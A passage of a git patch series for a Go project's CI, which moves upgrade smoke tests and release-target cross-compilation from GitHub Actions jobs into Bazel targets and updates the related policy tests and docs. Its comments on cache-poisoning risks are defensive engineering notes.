what another PR or main's seeder reads back. The // "no save" check is scoped to the blacksmith-sg-v1- key namespace -// specifically (not "no actions/cache/save in this job at all"), since a -// binary cache in a different namespace is governed by its own -// restore/save-gated pair below (advisoryBinaryCaches / F7c review fix X1), -// not an exemption from this one. +// specifically (not "no actions/cache/save in this job at all"): a cache in +// another namespace is the general sweep's concern below +// (TestBlacksmithReachableAdvisoryJobsNeverSaveACache), not an exemption +// from this one. func TestAdvisoryBlacksmithConsumersAreCacheRestoreOnly(t *testing.T) { for file, jobNames := range blacksmithSetupGoCacheConsumers { workflow := readCIWorkflow(t, file) @@ -757,81 +551,6 @@ func TestBlacksmithSetupGoCacheKeysMatchAcrossSeederAndConsumers(t *testing.T) { } } -// --- Binary caches: restore-always, save only off pull_request ------------ - -// advisoryBinaryCaches are the per-binary caches F7c review fixes B2 and X1 -// converted from a monolithic (auto-saving) actions/cache into an explicit -// restore/save pair, so a same-repo PR can read a previously published -// binary but never publish its own into a cache another run would trust -// unverified. migration-test.yml's historical-dolt-* cache was originally -// exempted here on the theory that scripts/migration-test/lib/binary.sh's -// sha256 verification of every extracted archive made a bare, auto-saving -// actions/cache safe regardless of who wrote it. That exemption was unsound -// (F7c review fix X1): `tar -P` extraction plus lib/binary.sh's `cp -f` -// following a symlink planted inside the archive can redirect the final copy -// to an arbitrary path (e.g. over the checked-out workspace or the candidate -// binary itself) before the checksum check ever runs, so checksum -// verification alone does not make a same-repo-PR-writable cache entry safe -// to trust. historical-dolt-* now gets the same restore-always/save-off-PR -// split as the other two. -var advisoryBinaryCaches = []struct { - file, job, restoreStep, saveStep, keyPrefix string - // wantSaveIf is the save step's `if:` condition, required byte-for-byte - // (F7c review fix S3): a `strings.Contains` check here would pass under - // e.g. `... || true`, which always evaluates true and silently - // reintroduces the same-repo-PR poisoning path this whole table exists - // to close. - wantSaveIf string -}{ - {"cross-version-smoke.yml", "smoke", "Restore previous release binaries cache", "Save previous release binaries cache", "smoke-binaries-", "github.event_name == 'push' || github.event_name == 'workflow_dispatch'"}, -} - -// TestAdvisoryBinaryCachesAreRestoreAlwaysSavePRGated pins the restore/save -// split itself (F7c review fix B2): the restore step always runs (modulo the -// job's own pre-existing gate, if any), -// the save step additionally requires an exact allow-list of -// `github.event_name == 'push' || github.event_name == 'workflow_dispatch'` -// (F7c review fix, discovered via the S2 sweep: a deny-list of -// `!= 'pull_request'` also admits a hypothetical future merge_group event, -// which each of these three jobs' runs-on expressions already resolve to -// Blacksmith for), both steps key off the same cache, and no monolithic -// (bare) actions/cache step remains for either binary cache - a monolithic -// step would silently reintroduce the auto-save-on-any-PR poisoning path B2 -// closes. -func TestAdvisoryBinaryCachesAreRestoreAlwaysSavePRGated(t *testing.T) { - for _, c := range advisoryBinaryCaches { - t.Run(c.file, func(t *testing.T) { - workflow := readCIWorkflow(t, c.file) - job := workflow.job(t, c.job) - - restore := job.step(t, c.restoreStep) - if actionFamily(restore.Uses) != cacheRestoreActionFamily { - t.Errorf("%s job %s step %q uses %q, want family %q", c.file, c.job, c.restoreStep, restore.Uses, cacheRestoreActionFamily) - } - if !strings.HasPrefix(restore.With["key"], c.keyPrefix) { - t.Errorf("%s job %s step %q key = %q, want prefix %q", c.file, c.job, c.restoreStep, restore.With["key"], c.keyPrefix) - } - - save := job.step(t, c.saveStep) - if actionFamily(save.Uses) != cacheSaveActionFamily { - t.Errorf("%s job %s step %q uses %q, want family %q", c.file, c.job, c.saveStep, save.Uses, cacheSaveActionFamily) - } - if save.If != c.wantSaveIf { - t.Errorf("%s job %s step %q has if=%q, want exactly %q", c.file, c.job, c.saveStep, save.If, c.wantSaveIf) - } - if save.With["key"] != restore.With["key"] { - t.Errorf("%s job %s: restore key %q != save key %q", c.file, c.job, restore.With["key"], save.With["key"]) - } - - for _, step := range job.Steps { - if actionFamily(step.Uses) == cacheMonolithicActionFamily && strings.HasPrefix(step.With["key"], c.keyPrefix) { - t.Errorf("%s job %s has a monolithic actions/cache step keyed %q; B2 requires an explicit restore/save split here", c.file, c.job, step.With["key"]) - } - } - }) - } -} - // --- General sweep: no Blacksmith-reachable advisory job may save a cache -- // generalCacheSweepWorkflows is every F7c advisory workflow plus main.yml diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index b3f0980c6..ae88cefb7 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -126,7 +126,7 @@ func TestPullRequestWorkflowsTriggerOnHotfixBranches(t *testing.T) { } root := sourceRepoRoot(t) for _, name := range []string{ - "pr.yml", prRiskWorkflowName, "cross-version-smoke.yml", + "pr.yml", prRiskWorkflowName, } { t.Run(name, func(t *testing.T) { var doc triggers @@ -2709,9 +2709,8 @@ const mainWindowsTestBinariesCacheRunsOn = "${{ matrix.runner == 'blacksmith' && // F7c: used to define its own sameRepoBlacksmith4vcpu here (same expression // as sameRepoBlacksmith2vcpu with the 4 vCPU label, for advisory jobs that -// compile Go: cross-version-smoke.yml). F7a independently defined the same -// const; both are now served by the single shared sameRepoBlacksmith4vcpu in -// ci_blacksmith_runner_test.go. +// compile Go). F7a independently defined the same const; both are now served +// by the single shared sameRepoBlacksmith4vcpu in ci_blacksmith_runner_test.go. // F7b: venue-matrix runs-on for main.yml jobs that seed a Blacksmith GOCACHE // alongside their GitHub-hosted seed ("venue: [blacksmith, github]"): @@ -3038,8 +3037,7 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { // is cheap enough to size at 2 vCPU per spec-f7.md §2.2) and moves // to Blacksmith for same-repo PRs/merge_group only; forks, // Dependabot and push stay on ubuntu-latest. - "cross-version-smoke.yml": {"smoke": sameRepoBlacksmith4vcpu, "versions": sameRepoBlacksmith2vcpu}, - "docs-mintlify.yml": {"broken-links": sameRepoBlacksmith2vcpu}, + "docs-mintlify.yml": {"broken-links": sameRepoBlacksmith2vcpu}, // main.yml's seeder job (B2, F7c implementation report) is the one // Blacksmith job that is NOT gated by the same-repo-PR expression: it // is push-to-main only (always trusted), so it wraps the literal @@ -3103,7 +3101,7 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { // Blacksmith label beyond the jobs listed in `want` above. for _, file := range []string{ "pr.yml", "pr-risk.yml", "main.yml", - "cross-version-smoke.yml", "docs-mintlify.yml", + "docs-mintlify.yml", } { workflow := readCIWorkflow(t, file) allowed := want[file] diff --git a/scripts/upgrade-smoke-test.sh b/scripts/upgrade-smoke-test.sh index d5d426b4f..52b05fbf2 100755 --- a/scripts/upgrade-smoke-test.sh +++ b/scripts/upgrade-smoke-test.sh @@ -103,6 +103,17 @@ case "$ARCH" in esac get_previous_binary() { + # PREV_BIN (set by //tests/upgrade_smoke's targets) is the previous + # release already pinned and sha256-verified against the release catalog, + # so nothing is downloaded; it must report PREV_VERSION. + if [ -n "${PREV_BIN:-}" ]; then + if ! "$PREV_BIN" version 2>/dev/null | grep -qF " ${PREV_VER_BARE} "; then + echo -e "${RED}PREV_BIN=${PREV_BIN} does not report ${PREV_VERSION}${NC}" >&2 + exit 1 + fi + echo "$PREV_BIN" + return + fi local cached="$CACHE_DIR/bd-${PREV_VER_BARE}" if [ -x "$cached" ]; then echo "$cached" diff --git a/tests/upgrade_smoke/BUILD.bazel b/tests/upgrade_smoke/BUILD.bazel new file mode 100644 index 000000000..be70457de --- /dev/null +++ b/tests/upgrade_smoke/BUILD.bazel @@ -0,0 +1,43 @@ +load(":defs.bzl", "upgrade_smoke_tests") + +# The upgrade smoke tests (formerly cross-version-smoke.yml): one target per +# previous release, upgrade_smoke__test, running +# scripts/upgrade-smoke-test.sh from the pinned release +# (@bd_releases, sha256-verified against the release catalog) to the +# non-race bd_for_tests. The releases are the newest `window` the catalog +# pins a linux/amd64 asset for (its stable GitHub releases), so a release +# added to the catalog joins the window and the oldest drops out. The PR-core +# lane (bazel-test) runs them remotely on every PR, merge group and push, and +# a target re-runs only when the candidate, the script or its release +# changes. +# +# Tags: +# pr-core-only: shell tests against the release-shaped bd_for_tests (no +# integration tag); the integration lane, which requires Go testcases, +# leaves them out. +upgrade_smoke_tests( + tags = ["pr-core-only"], + window = 30, +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tests/upgrade_smoke/defs.bzl b/tests/upgrade_smoke/defs.bzl new file mode 100644 index 000000000..3c3045e56 --- /dev/null +++ b/tests/upgrade_smoke/defs.bzl @@ -0,0 +1,32 @@ +"""One upgrade smoke test per pinned previous release (see BUILD.bazel).""" + +load("@bd_releases//:versions.bzl", "VERSIONS") +load("@rules_shell//shell:sh_test.bzl", "sh_test") +load("//tools/bazel:bd_releases.bzl", "LINUX_AMD64") + +def upgrade_smoke_tests(window, tags): + """Declares upgrade_smoke__test for the newest `window` catalog releases. + + Args: + window: how many of the newest pinned releases to test. + tags: the tests' tags. + """ + for v in VERSIONS[-window:]: + sh_test( + name = "upgrade_smoke_{}_test".format(v.replace(".", "_")), + size = "large", + srcs = ["upgrade_smoke_test.sh"], + args = [v], + data = [ + "//:.buildflags", + "//cmd/bd:bd_for_tests", + "//scripts:upgrade-smoke-test.sh", + "@bd_releases//:" + v, + ], + env = { + "CANDIDATE_BIN": "$(rootpath //cmd/bd:bd_for_tests)", + "PREV_BIN": "$(rootpath @bd_releases//:{})".format(v), + }, + tags = tags, + target_compatible_with = LINUX_AMD64, + ) diff --git a/tests/upgrade_smoke/upgrade_smoke_test.sh b/tests/upgrade_smoke/upgrade_smoke_test.sh new file mode 100755 index 000000000..24130e901 --- /dev/null +++ b/tests/upgrade_smoke/upgrade_smoke_test.sh @@ -0,0 +1,17 @@ +#!/usr/bin/env bash +# One previous release of the upgrade smoke tests (formerly +# cross-version-smoke.yml's `scripts/upgrade-smoke-test.sh` loop): that +# release → the candidate, with both binaries pinned inputs, so the script +# downloads and builds nothing. +# +# The first argument is the release. CANDIDATE_BIN and PREV_BIN are +# runfiles-relative paths ($(rootpath ...), relative to the working directory +# Bazel starts the test in), made absolute here before the script changes +# directory. Any further arguments (a lane's --test_arg flags, meant for Go +# test binaries) are ignored. +set -euo pipefail +release="$1" +CANDIDATE_BIN="$PWD/${CANDIDATE_BIN:?}" +PREV_BIN="$PWD/${PREV_BIN:?}" +export CANDIDATE_BIN PREV_BIN +exec scripts/upgrade-smoke-test.sh "$release" From 5e736708667c56d963ca85e2ce567e941d498eba Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 03:18:37 +0000 Subject: [PATCH 030/213] ci(bazel): cross-compile every release target with Bazel, retire the go build job (#7332) pr.yml's check-release-target-cross-compilation ran `CGO_ENABLED=0 GOOS/GOARCH go build -tags gms_pure_go ./...` for the eight release targets on two GitHub/Blacksmith runners. It is now a step of bazel.yml's pure-Go lane (BAZEL_PURE, already required by ci-gate): scripts/ci/bazel-release-cross-compile.sh builds //tools/bazel:release_cross once, remotely, with --//tools/bazel:release_platforms set from scripts/ci/release-targets.txt (still the single source of truth, pinned to .goreleaser.yml). release_cross's split transition configures every go_library/go_binary for each rules_go platform with cgo off, so all eight platforms build in parallel in one invocation. - tools/bazel/release_cross.bzl: the split-transition rule and the string-list flag. - tools/bazel/go_srcs.py (make bazel-sync, checked by bazel-sync-check and TestBazelGoSrcsBlocksCurrent) keeps the release_cross target list; the script checks with bazel query that every Bazel package holding Go targets is reached before it builds. - //tools/bazel:pure_bd_has_no_cgo_only_deps: Bazel compiles gozstd's pure stubs where `go build` rejects them, so the pure bd of every platform must not link gozstd. - //internal/storage/embeddeddolt/cmd:cmd (cgo-only main, skipped by `go build ./...` under CGO_ENABLED=0) is tagged cgo-only and incompatible with pure builds. - A failed build is re-run per platform (cache hits) to name each failing GOOS/GOARCH. Same cgo-off coverage boundary as the retired job. Refs ga-96smfk.20. Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/bazel.yml | 10 + .github/workflows/pr.yml | 62 +--- RELEASING.md | 21 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 18 +- internal/storage/embeddeddolt/cmd/BUILD.bazel | 8 + scripts/bazel_policy_test.go | 6 + scripts/check_release_cross_compile_test.go | 276 +++++++++++------- scripts/ci/bazel-release-cross-compile.sh | 91 ++++++ scripts/ci/check-release-cross-compile.sh | 64 ---- scripts/ci/release-targets.txt | 27 +- scripts/ci_blacksmith_runner_test.go | 3 +- scripts/ci_workflow_test.go | 129 ++++---- scripts/internal/testbash/BUILD.bazel | 7 +- tools/bazel/BUILD.bazel | 202 +++++++++++++ tools/bazel/go_srcs.py | 65 ++++- tools/bazel/release_cross.bzl | 55 ++++ 16 files changed, 707 insertions(+), 337 deletions(-) create mode 100755 scripts/ci/bazel-release-cross-compile.sh delete mode 100755 scripts/ci/check-release-cross-compile.sh create mode 100644 tools/bazel/release_cross.bzl diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 6a8c8e381..f0da60d84 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1049,6 +1049,16 @@ jobs: //internal/storage/embeddeddolt:embeddeddolt_test //internal/tracker:tracker_test + # Every release target (scripts/ci/release-targets.txt) on every PR, so + # a platform-gating mistake is caught here instead of at tag time + # (#5662): the whole tree, cgo off, one remote `bazel build + # --platforms=...` per target (the script's header has the coverage + # boundary: the cgo release builds are not compiled here). + - name: Cross-compile every release target (--config=release-cross) + run: | + set -euo pipefail + ./scripts/ci/bazel-release-cross-compile.sh + # `go build` with CGO_ENABLED=0 rejects a pure binary whose imports reach # dolt's cgo-only store/nbs (gozstd). Bazel compiles gozstd's pure stubs # instead, whose init panics (third_party/patches/gozstd_nocgo.patch), so diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 89470edf9..6fe5e1b8d 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -233,8 +233,8 @@ jobs: # # D2 step 3: stands down where bazel-coverage says pr_lanes; Bazel's # `pure-Go and js/wasm` lane (bazel-pure) runs the same boundaries, and - # check-release-target-cross-compilation still `go build`s ./... with - # CGO_ENABLED=0 on every PR. + # also builds the whole tree with cgo off for every release target + # (scripts/ci/bazel-release-cross-compile.sh). check-cmd-bd-puregeo-tests: name: Check pure-Go and js/wasm boundaries (CGO_ENABLED=0) runs-on: ubuntu-latest @@ -318,61 +318,6 @@ jobs: run: | go test -tags gms_pure_go -count=1 -short -run '^Test(Help|CheckRemoteSafety|FormatDestroyToken|ShouldWireInitRemote|ExtractPrefix|IsNumericID|GetWorktreeGitDir|DriftItemStatuses|RunDriftChecks|IsServerProbablyRunning|CheckHooksDriftNotGitRepo|CheckServerDriftNoBeadsDir|CheckRemoteDriftNoBeadsDir|NocgoFactoriesHonorSharedServer|NocgoNewDoltStoreFromConfig_ErrorSuggestsCorrectFlag|NocgoNewReadOnlyStoreFromConfig_ErrorSuggestsCorrectFlag)' ./cmd/bd - # Compile every shipped release target on every PR, so a platform-gating - # mistake is caught here instead of at tag time (#5662). - # - # Coverage boundary, recorded so the green is not over-read: every leg below - # builds CGO_ENABLED=0, but .goreleaser.yml builds bd-linux-amd64, - # bd-linux-arm64 and bd-windows-amd64 with CGO_ENABLED=1, and the darwin pair - # is built natively at CGO_ENABLED=1 by release.yml's goreleaser-macos job. - # Five of these eight legs are therefore a weaker proxy than the binary they - # stand for: the cgo half of the tree (beads_cgo.go -> - # internal/storage/embeddeddolt) is never compiled here, so a break confined - # to it still passes this check. Only android/arm64, windows/arm64 and - # freebsd/amd64 replicate their release configuration exactly. - # - # The build scope is deliberately ./... and not the ./cmd/bd that every - # .goreleaser.yml build id declares as main:. Compiling the whole tree per - # platform is intentional extra coverage, not an oversight. - # - # F7a: folded from 8 per-target jobs into 2 per-group jobs. The target list - # moved out of this matrix and into scripts/ci/release-targets.txt, which - # scripts/ci/check-release-cross-compile.sh reads and - # TestReleaseTargetCrossCompilationMatrixMatchesGoreleaser pins against - # .goreleaser.yml, so the manifest (not this YAML) is now the single - # source of truth for the target set. Moved to Blacksmith for same-repo - # PRs/merge_group: this job restores no GitHub-saved build cache (only a - # best-effort module-cache restore, whose misses are cheap network - # fetches, not lost compute). Runner choice must match the - # TestSameRepoBlacksmithRunners pin. - check-release-target-cross-compilation: - name: Check release target cross-compilation (${{ matrix.group }}) - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-8vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 20 - strategy: - fail-fast: false - matrix: - group: [unix, desktop] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Build complete release target tree for group ${{ matrix.group }} - run: ./scripts/ci/check-release-cross-compile.sh ${{ matrix.group }} - # The lingering-handle liveness regression test is //go:build windows: the # Ubuntu job above selects it by name but compiles it out, and main.yml's # Windows job runs only on pushes to main (build/smoke, no go test). Run @@ -2290,7 +2235,6 @@ jobs: - build-artifacts - fast-checks - check-cmd-bd-puregeo-tests - - check-release-target-cross-compilation - test-windows-liveness - worktree-remove-windows - test-windows-liveness-prebuilt @@ -2319,7 +2263,6 @@ jobs: CHECK_MIGRATION_HYGIENE CHECK_NO_BEADS_CHANGES CHECK_CMD_BD_PUREGEO_TESTS - CHECK_RELEASE_TARGET_CROSS_COMPILATION CHECK_DOC_FLAGS CHECK_DOC_FRESHNESS_PLATFORMS PR_PREFLIGHT_PLATFORMS @@ -2359,7 +2302,6 @@ jobs: # job. FAST_CHECKS: ${{ needs.fast-checks.result }} CHECK_CMD_BD_PUREGEO_TESTS: ${{ needs.check-cmd-bd-puregeo-tests.result }} - CHECK_RELEASE_TARGET_CROSS_COMPILATION: ${{ needs.check-release-target-cross-compilation.result }} TEST_WINDOWS_LIVENESS: ${{ needs.test-windows-liveness.result }} WORKTREE_REMOVE_WINDOWS: ${{ needs.worktree-remove-windows.result }} # F4 side-by-side rollout: always evaluated, like the native pair diff --git a/RELEASING.md b/RELEASING.md index 894abbb20..a36816306 100644 --- a/RELEASING.md +++ b/RELEASING.md @@ -143,9 +143,9 @@ Before starting a release: - [ ] **Upgrade smoke tests pass** (`make test-upgrade`) — see [Release Stability Gate](engdocs/RELEASE-STABILITY-GATE.md) - [ ] **Regression tests pass** (`make test-regression`) - [ ] **Every release target cross-compiles** — see - [Cross-compile before tagging](#cross-compile-before-tagging). PR CI does - not build them ([#5662](https://github.com/gastownhall/beads/issues/5662)), - and a target that fails at tag time burns the tag. + [Cross-compile before tagging](#cross-compile-before-tagging). PR CI + builds them only with cgo off, and a target that fails at tag time + burns the tag. - [ ] **CHANGELOG.md updated with release notes** (see format below) - [ ] **CHANGELOG rollup checked** — nothing left under `[Unreleased]` that belongs in this release, and nothing filed under a *previous* release's @@ -163,12 +163,15 @@ Before starting a release: ### Cross-compile before tagging -`.goreleaser.yml` builds darwin, linux, windows **and freebsd**, but PR CI -builds none of the cross targets — the v1.2.0 tag burned on a freebsd -compilation failure that no pre-tag gate could have caught -([#5661](https://github.com/gastownhall/beads/pull/5661) fixed the break, -[#5662](https://github.com/gastownhall/beads/issues/5662) tracks the CI gap). -Until that gap is closed, build them by hand before tagging: +`.goreleaser.yml` builds darwin, linux, windows **and freebsd**; the v1.2.0 +tag burned on a freebsd compilation failure no pre-tag gate caught +([#5661](https://github.com/gastownhall/beads/pull/5661), +[#5662](https://github.com/gastownhall/beads/issues/5662)). PR CI now builds +the whole tree for every target in `scripts/ci/release-targets.txt` with Bazel +(`scripts/ci/bazel-release-cross-compile.sh`, in bazel.yml's pure-Go lane), +but with cgo off, while linux/amd64, linux/arm64, windows/amd64 and the darwin +pair ship with `CGO_ENABLED=1`. Build the real release configuration by hand +before tagging: ```bash goreleaser build --snapshot --clean diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 78218e20f..d879d6c8e 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -639,8 +639,6 @@ Do not require these existing check names directly: [Repository Guards as Bazel Tests](#repository-guards-as-bazel-tests)) - `Check pure-Go and js/wasm boundaries (CGO_ENABLED=0)` - `Check doc flags freshness` -- `Check release target cross-compilation (unix)` and `(desktop)` (F7a fold - of the former eight-target `check-release-target-cross-compilation` matrix) - `Windows Make shell (native, msys2, cygwin)` (F7a fold of the former `host: [native, msys2, cygwin]` three-job matrix) - `Test (Windows) small packages (doltversion, dbproxy server)` (F7a fold of @@ -925,8 +923,16 @@ manifests. On those PRs they are the tiers' only pre-merge run, and (`Test (Dolt server fingerprint)`, `TEST_DOLT_SERVER_FINGERPRINT`) pulled a docker image the workers do not have, so it is retired; the image tag stays pinned to the dolt release by - `TestPinnedDoltCLIMatchesContainerImage`. `check-release-target-cross-compilation` - still `go build`s `./...` with `CGO_ENABLED=0` on every PR. + `TestPinnedDoltCLIMatchesContainerImage`. The release-target + cross-compilation (formerly pr.yml's + `check-release-target-cross-compilation`, `go build ./...` with + `CGO_ENABLED=0` per target) is a step of bazel.yml's `bazel-pure` lane + (`BAZEL_PURE`): `scripts/ci/bazel-release-cross-compile.sh` runs one + remote `bazel build //tools/bazel:release_cross`, every `go_library` and + `go_binary` for each row of `scripts/ci/release-targets.txt`, plus + `//tools/bazel:pure_bd_has_no_cgo_only_deps` (a pure bd must not link + gozstd, which `go build` rejects with cgo off). Same cgo-off boundary as + the job it replaces. - Also kept on every PR, in the required job `scripts-go-checks` (`SCRIPTS_GO_CHECKS`, one leg, `Go checks (vet)`): `go test`'s own vet checks (cmd/go's `defaultVetFlags`, policy-tested equal to the @@ -1219,7 +1225,8 @@ scope, not this slice's. `scripts/ci/check-release-cross-compile.sh `, which builds every target in its group sequentially and reports every failure before exiting non-zero, so a PR touching two platforms at once sees both failures in one - log instead of needing a per-target re-run. + log instead of needing a per-target re-run. (Since retired: bazel.yml's `bazel-pure` + lane builds the same manifest with Bazel, `--platforms` per target.) - **`advisory-reports` fold.** `build-examples` and `complexity-report` (both already advisory: neither was in ci-gate's `needs`/`CI_GATE_REQUIRED`) became one job's steps. Each keeps its pre-fold step-level @@ -1531,7 +1538,6 @@ PR timings, 2026-10): `fast-checks` (~40 s), `pr-policy-wrapper` (native/darwin/windows, up to ~4 min), `check-doc-flags` (~1.7 min), `check-doc-freshness-platforms` and `pr-preflight-platforms` (Linux, Windows and macOS legs, up to ~5 min on Windows), -`check-release-target-cross-compilation` (~5 min), `windows-make-shell` (~2.7 min), `windows-test-binaries` plus the prebuilt Windows pair (~7 min end to end), the advisory native Windows pair (~5 min; the gate waits for them), diff --git a/internal/storage/embeddeddolt/cmd/BUILD.bazel b/internal/storage/embeddeddolt/cmd/BUILD.bazel index da3b5b782..4fa70405d 100644 --- a/internal/storage/embeddeddolt/cmd/BUILD.bazel +++ b/internal/storage/embeddeddolt/cmd/BUILD.bazel @@ -8,9 +8,17 @@ go_library( deps = ["//internal/storage/embeddeddolt"], ) +# main.go is //go:build cgo: without cgo the package is empty, which +# `go build ./...` skips and a go_binary cannot link. cgo-only: left out of +# //tools/bazel:release_cross (tools/bazel/go_srcs.py). go_binary( name = "cmd", embed = [":cmd_lib"], + tags = ["cgo-only"], + target_compatible_with = select({ + "//tools/bazel:pure": ["@platforms//:incompatible"], + "//conditions:default": [], + }), visibility = ["//:__subpackages__"], ) diff --git a/scripts/bazel_policy_test.go b/scripts/bazel_policy_test.go index 43a1c815a..edcd54ee7 100644 --- a/scripts/bazel_policy_test.go +++ b/scripts/bazel_policy_test.go @@ -852,6 +852,12 @@ var allowedBazelTestTags = map[string]string{ // integration tag, as releases are, and running it again under the // integration build would only repeat it against a test-shaped bd. "pr-core-only": "runs only in --config=prcore/ci; excluded from --config=integration", + // For a go_binary whose every source file is `//go:build cgo`: it also + // sets target_compatible_with incompatible under //tools/bazel:pure, and + // tools/bazel/go_srcs.py and scripts/ci/bazel-release-cross-compile.sh + // leave it out of //tools/bazel:release_cross by this tag (`go build + // ./...` skips the package with CGO_ENABLED=0). + "cgo-only": "a go_binary with only cgo sources: incompatible with pure builds and left out of //tools/bazel:release_cross", } // bazelPRCoreExcludedTags are the tags whose targets never run in the PR-core diff --git a/scripts/check_release_cross_compile_test.go b/scripts/check_release_cross_compile_test.go index 0c473177e..240daaab3 100644 --- a/scripts/check_release_cross_compile_test.go +++ b/scripts/check_release_cross_compile_test.go @@ -9,155 +9,219 @@ import ( "testing" ) -// Review SF-6 (2026-10-03): check-release-cross-compile.sh (the F7a fold of -// pr.yml's check-release-target-cross-compilation matrix into two per-group -// legs) had no behavioural test. A planted "always exit 0" mutation passed -// every other policy test, which would make the required -// CHECK_RELEASE_TARGET_CROSS_COMPILATION token green even with every target -// broken. These tests put a fake `go` on PATH that records every invocation -// and can be told to fail for one target, then assert the script's actual -// failure-propagation, env/flag, and group-coverage behaviour against it. +// bazel-release-cross-compile.sh is the release-target cross-compilation +// gate: bazel.yml's pure-Go lane runs it, and it builds +// //tools/bazel:release_cross for every row of scripts/ci/release-targets.txt +// in one invocation. These tests put a fake `bazel` on PATH that records +// every invocation and can be told to fail for one platform, then assert the +// script's platform list, coverage check, flags, failure propagation and +// per-platform attribution against it, so an "always exit 0" mutation cannot +// keep the gate green with every target broken. -// fakeGoRecordingScript is a stand-in for `go build` that appends one line -// per invocation to $GO_CALL_LOG (goos, goarch, CGO_ENABLED, and the -// remaining args) and exits non-zero only when GOOS/GOARCH matches -// $GO_FAIL_TARGET. -const fakeGoRecordingScript = `#!/usr/bin/env bash +// fakeBazelRecordingScript stands in for bazel. `query` prints +// $FAKE_BUILT_PKGS for the deps of //tools/bazel:release_cross and +// $FAKE_WANT_PKGS for anything else; every command appends one line +// ("\t") to $BAZEL_CALL_LOG; `build` exits non-zero when its +// --//tools/bazel:release_platforms list names $BAZEL_FAIL_PLATFORM. +const fakeBazelRecordingScript = `#!/usr/bin/env bash set -euo pipefail -printf '%s\t%s\t%s\t%s\n' "${GOOS:-}" "${GOARCH:-}" "${CGO_ENABLED:-}" "$*" >> "$GO_CALL_LOG" -if [ "${GOOS:-}/${GOARCH:-}" = "${GO_FAIL_TARGET:-}" ]; then - echo "simulated build failure for ${GOOS:-}/${GOARCH:-}" >&2 - exit 1 +cmd="$1"; shift +printf '%s\t%s\n' "$cmd" "$*" >> "$BAZEL_CALL_LOG" +if [ "$cmd" = query ]; then + case "$*" in + *"deps(//tools/bazel:release_cross)"*) printf '%s\n' $FAKE_BUILT_PKGS ;; + *) printf '%s\n' $FAKE_WANT_PKGS ;; + esac + exit 0 fi +for a in "$@"; do + case "$a" in + --//tools/bazel:release_platforms=*) + if [ -n "${BAZEL_FAIL_PLATFORM:-}" ] && [[ ",${a#*=}," == *",$BAZEL_FAIL_PLATFORM,"* ]]; then + echo "simulated build failure for $a" >&2 + exit 1 + fi ;; + esac +done exit 0 ` -// runCheckReleaseCrossCompile copies the real check-release-cross-compile.sh -// into a throwaway directory alongside a caller-supplied manifest (so the -// test does not depend on the real scripts/ci/release-targets.txt growing or -// shrinking), puts a fake `go` on PATH ahead of everything else, and runs the -// script for the given group. failTarget (e.g. "linux/amd64") is the single -// GOOS/GOARCH the fake go fails for; empty means every target succeeds. -func runCheckReleaseCrossCompile(t *testing.T, group, manifest, failTarget string) (out string, err error, log string) { +const testPkgs = "cmd/bd internal/types" + +// runBazelReleaseCrossCompile copies the real script next to a +// caller-supplied manifest (so the test does not track the real +// release-targets.txt), puts the fake bazel first on PATH and runs it. +func runBazelReleaseCrossCompile(t *testing.T, manifest, failPlatform, builtPkgs string, args ...string) (out string, err error, calls []string) { t.Helper() if runtime.GOOS == "windows" { t.Skip("script is a Bash boundary") } - script, readErr := os.ReadFile(filepath.Join(sourceRepoRoot(t), "scripts", "ci", "check-release-cross-compile.sh")) + script, readErr := os.ReadFile(filepath.Join(sourceRepoRoot(t), "scripts", "ci", "bazel-release-cross-compile.sh")) if readErr != nil { - t.Fatalf("read check-release-cross-compile.sh: %v", readErr) + t.Fatalf("read bazel-release-cross-compile.sh: %v", readErr) } dir := t.TempDir() scriptsCI := filepath.Join(dir, "scripts", "ci") - if mkErr := os.MkdirAll(scriptsCI, 0o700); mkErr != nil { - t.Fatal(mkErr) - } - scriptPath := filepath.Join(scriptsCI, "check-release-cross-compile.sh") - if writeErr := os.WriteFile(scriptPath, script, 0o700); writeErr != nil { - t.Fatal(writeErr) - } - if writeErr := os.WriteFile(filepath.Join(scriptsCI, "release-targets.txt"), []byte(manifest), 0o600); writeErr != nil { - t.Fatal(writeErr) - } - fakeBin := filepath.Join(dir, "fakebin") - if mkErr := os.MkdirAll(fakeBin, 0o700); mkErr != nil { - t.Fatal(mkErr) + for _, d := range []string{scriptsCI, fakeBin} { + if mkErr := os.MkdirAll(d, 